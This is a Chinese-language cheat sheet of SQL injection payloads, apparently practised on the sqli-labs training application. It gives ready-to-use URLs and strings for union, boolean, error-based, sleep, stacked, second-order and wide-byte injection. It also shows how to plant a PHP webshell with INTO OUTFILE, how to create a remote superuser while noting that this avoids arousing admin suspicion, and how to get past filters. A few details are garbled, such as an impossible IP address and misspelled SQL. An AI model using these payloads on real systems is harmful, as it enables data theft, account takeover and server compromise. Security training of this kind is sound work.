Union注入
http://192.168.31.34/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+
构造的sql语句
http://192.168.31.34/sqli-labs-master/Less-1/?id=-1' union select 1,database(),user()--+
Boolean注入
构造一些判读语句
http://192.168.31.34/sqli-labs-master/Less-1/?id=1' and length(database())=8--+
http://192.168.31.34/sqli-labs-master/Less-1/?id=1' and substr(database(),1,1)='s'--+
构造的语句可以有不同的形式
报错注入
http://192.168.31.34/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
其他报错函数
and extractvalue(1,concat(0x7e,(database())))#
floor()函数
1' and (select 2 from (select count(*),concat(version(),floor(rand(*)*2))x from information_schema.tables group by x)a)#
sleep注入
用sleep if 进行判断
http://192.168.31.34/sqli-labs-master/Less-6/?id=1" and if(database()='security',sleep(100),null)--+
堆叠注入
用 ;连接多个 SQL语句,执行多条语句
http://192.168.31.34/sqli-labs-master/Less-38/?id='; insert into users(id,username,password)values('10000','lqs','lqs')--+
二次注入
通过SQL修改已有账户
注册一个admin'#的账号。
登录admin'#该,修改该帐号的密码,此时修改的就是admin的密码
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
用刚修改的密码我的是123456,登陆admin管理员账号,就可以成功登陆
二次编码注入
宽字节注入
数据库GBK编码时,地址后加 %df ,反斜杠编码为%5c,%df%5c是一个特殊字符,吃掉用来转义的反斜杠
http://192.168.31.34/sqli-labs-master/Less-32/?id=%df%27 union select 1,database(),3 %23
注入位置--cookie注入
注入位置--refer
注入位置--user-agent
注入位置--xff头
在http请求头的X-Forward-for处注入
特殊注入--base64编码后注入
Dnslog注入
工具:dnslogsql.py
1.DNSlog盲注原理
DNS:将域名解析到IP地址
DNSLOG:记录访问的域名信息
回显记录在DNSlog平台
目标服务器是Windows系统
示范:
数据库运行该语句
回到平台
出现数据库名
对表名,列名进行暴力破解
例如:
1' and exists(select * from aa)# 破解表名
1' and exists(select id from users)# 对列名进行破解
读文件
select load_file()
通过写入木马,实现控制
写入条件:
1.知道远程目录
2.远程目录有写入权限
3.数据库开启了secure_file_priv
函数:
select 1,2,'' into outfile "/var/www/html/shell.php" #
提权语句
增加账户有可能引起管理员怀疑,可以给已有的账户提权
grant all privileges on *.* to admin@`%` indentified by 'abc';
创建一个从任意IP登录的超级用户
mysql -h 192.1689.233.128 -uadmin -pabc
验证
grant select,insert on *.* to admin2@`%` indentified by 'abc';
创建一个有select insert 权限的用户
一些绕过
1.大小写,如:oorr
2.双写绕过 ,如:seselectlect
3.宽字节形式
4.编码后绕过:关键字and被拦截,使用URL全编码,由于服务器会进行一次URL解码,所以把关键字编码两次
5.内联注释 id=1 / * ! and * / 1=1
6.字符绕过:制表符,换行符,括号,反引号,/ * * /
7.等价函数字符如: like或 in 代替= ,sleep用benchmark代替,ascii用hex,bin代替
8.过滤空格,使用%a0代替空格
9.括号代替空格
10.%09 TAB %0a新建一行 %0c 新的一页 %0d return %a0空格 / * * /代替空格
作者水平有限,文章可能存在错误, 希望大家多多包含